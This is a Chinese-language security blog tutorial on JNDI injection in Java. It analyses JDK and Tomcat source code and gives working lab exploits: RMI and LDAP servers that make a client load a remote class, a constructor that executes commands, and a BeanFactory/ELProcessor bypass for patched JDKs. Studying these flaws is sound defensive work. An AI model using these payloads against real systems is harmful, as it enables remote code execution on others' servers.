JNDI注入

S1naG0u Lv2

JNDI是什么

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JDNI+RMI

JNDI+RMI简单实现

1
2
3
4
5
6
7
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
}
}
1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1/remoteObj");
remoteObj.sayHello("Hello");
}
}

JNDI可以理解为对RMI协议又就行了一次封装,JNDI+RMI的实质其实还是RMI

运行俩段代码,发现可以实现远程调用,也就是JNDI支持RMI协议

这里的initialContext的lookup方法,其实底层还是RegistryImpl_Stub也就是注册中心的lookup方法。

那么当我们利用JNDI+RMI绑定一个恶意的类,同时客户端中initialContext.lookup方法的参数可控,即可实现JNDI注入攻击

JNDI+RMI攻击实现

上面我们提到了可能存在的一种攻击方式,但是还存在一个问题,因为RMI是远程调用方法,并不会加载类,所以需要远程调用到危险类的危险方法才可以成功打通,但是一般的我们不可能直接在受攻击的客户端写一个调用方法的代码,所以就要引入一个新的东西:Reference类。

Reference类

Reference对象用于描述“如何创建一个对象”的信息,而不是对象本身。它包含了对象的类名、工厂类名(Factory Class Name)、以及一些额外的配置信息(如地址、参数等)。为什么要存在这个类呢?因为有些对象不适合直接序列化存储在JNDI目录中,比如数据库连接池、EJB等。这时可以用Reference来保存“如何创建这个对象”的信息,等到需要时再由JNDI根据Reference的信息去在本地实例化对象。

也就是说,当我们传入JNDI中一个绑定到RMI服务中的包装了危险类的Reference类,此时如果客户端调用lookup方法,会先在客户端进行对这个危险类的加载,这是如果被加载的类中的构造方法中含有危险代码,即会产生漏洞。

代码实现:

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, IOException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:7777/");
initialContext.rebind("rmi://127.0.0.1:1099/calc",reference);
}
}
1
2
3
4
5
6
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Object Obj = initialContext.lookup("rmi://127.0.0.1/calc");
}
}

危险类(calc类)

1
2
3
4
5
public class calc {
public calc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

将危险类利用javac编译成class文件后利用python通过开放7777端口将calc发布到网络中

也就是当客户端通过JDNI调用lookup时,会获取到calc类的类加载信息,然后在客户端本地进行类加载,从而调用calc的构造方法弹窗计算机。

源码分析:

由于是在客户端请求后才弹的计算器,所以我们先来分析客户端lookup后客户端执行了什么

层层调用后来到了RegistryContext.lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object lookup(Name var1) throws NamingException {
// 1. 如果传入的名字为空,返回一个新的RegistryContext对象
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
// 2. 否则,调用RMI注册表的lookup方法,查找远程对象
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
// 3. 如果没有绑定,抛出NameNotFoundException
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
// 4. 如果远程调用出错,包装成NamingException抛出
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

// 5. 对查找到的远程对象进行解码(如Reference对象的处理),并返回
return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里先调用了RMI中注册中心的lookup得到了绑定到注册中心的远程对象,然后进行了解码操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

这里先进行了一个检查无关紧要,然后开始进行解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment) throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

这里层层if走到了getObjectFactoryFromReference方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
throws IllegalAccessException,InstantiationException,MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里先在本地寻找是否可以加载这个类,我们直接跳过,后面会获取远程工厂类的地址并进行类加载,加载完成后利用反射实例化加载完成的类,实例化时就会导致危险方法被执行。

高版本修复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

高版本中添加了trustURLCodebase的验证,只有客户端开启信任之后才可以实现远程加载,也就阻隔了危险类加载的可能,但是在8U191前还没有修复LDAP的

JNDI+LDAP

LDAP是什么

LDAP类似于数据库,JNDI同样可以绑定一个LDAP服务,同RMI一样来传递信息

JNDI+LDAP攻击实现

1
2
3
4
5
6
7
public class LDAPRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);
}
}
1
2
3
4
5
6
public class LDAPJNDIClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

利用Apache Directory Studio起一个LDAP服务

此时先运行客户端再运行服务端即可弹窗计算器

源码分析:

客户端执行lookup方法后层层调用到LdapCtx.c_lookup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;

Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}

if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}

if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}

while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}

try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}

这里同RMI类似,先尝试从LDAP服务中直接解析序列化格式的类,如果不存在则通过网络解析,我们只需要关注网络解析即可,也就是最后一个try这里的代码,我们来看这里的类加载逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}

// use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}

同样是先寻找本地的工厂查看是否可以加载,然后尝试使用Reference指定的URL进行加载,这里的getObjectFactoryFromReference同样指向的是和RMI低版本中一样的静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
throws IllegalAccessException,InstantiationException,MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里就同RMI那里一样了。

高版本修复:

VersionHelper12.loadClass
1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

这里新增了一个判断

JNDI高版本绕过

上述的LDAP+JNDI中在我们源码调试的过程中可以看到,前面的加载Reference的过程还是正常的,只是不允许加载设定为使用URL远程加载类的Reference了,那么我们是否有办法在利用本地的一些类实现危险代码执行,这就是JNDI高版本绕过。

注意到(注意力惊人):DirectoryManager.getObjectInstance()方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {
......
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
......

在通过getObjectFactoryFromReference得到工厂类后还会调用工厂类的getObjectInstance,同时会传入参数(可控),也就是说我们只要找到含有getObjectInstance方法,同时方法内含有由传入的参数可控的危险操作即可实现代码执行,最终找到了BeanFactory这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class BeanFactory implements ObjectFactory {

private static final StringManager sm = StringManager.getManager(BeanFactory.class);

private final Log log = LogFactory.getLog(BeanFactory.class); // Not static

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment)
throws NamingException {
......
for (i = 0; i < pda.length; i++) {

if (pda[i].getName().equals(propName)) {

Class<?> propType = pda[i].getPropertyType();
Method setProp = pda[i].getWriteMethod();

if (propType.equals(String.class)) {
valueArray[0] = value;
.......
} else if (setProp != null) {
// This is a Tomcat specific extension and is not part of the
// Java Bean specification.
String setterName = setProp.getName();
try {
setProp = bean.getClass().getMethod(setterName, String.class);
valueArray[0] = value;
} catch (NoSuchMethodException nsme) {
throw new NamingException(sm.getString("beanFactory.noStringConversion", propName,
propType.getName()));
}
} else {
throw new NamingException(
sm.getString("beanFactory.noStringConversion", propName, propType.getName()));
}

if (setProp != null) {
setProp.invoke(bean, valueArray);
} else {
throw new NamingException(sm.getString("beanFactory.readOnlyProperty", propName));
}

break;
}
}
......

这里会进行一个反射执行,同时setProp是可控的,那么就达成了漏洞利用条件

这里的这个getObjectInstance方法会根据传入的 ResourceRef(Reference)对象,动态实例化一个 JavaBean,并根据 Reference 里的属性,通过反射调用 setter 方法为 JavaBean 注入属性,最后返回这个实例,所以我们要构造一个恶意的ResourceRef通过RMI或者LDAP进行绑定

源码实现:

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIBypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}

这里的这个ReferenceWrapper只是用来对ResourceRef进行封装来满足registry.bind的要求

  • 标题: JNDI注入
  • 作者: S1naG0u
  • 创建于 : 2025-04-01 00:00:00
  • 更新于 : 2025-08-17 01:59:17
  • 链接: https://s1nag0u.github.io/2025/04/01/JNDI注入/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。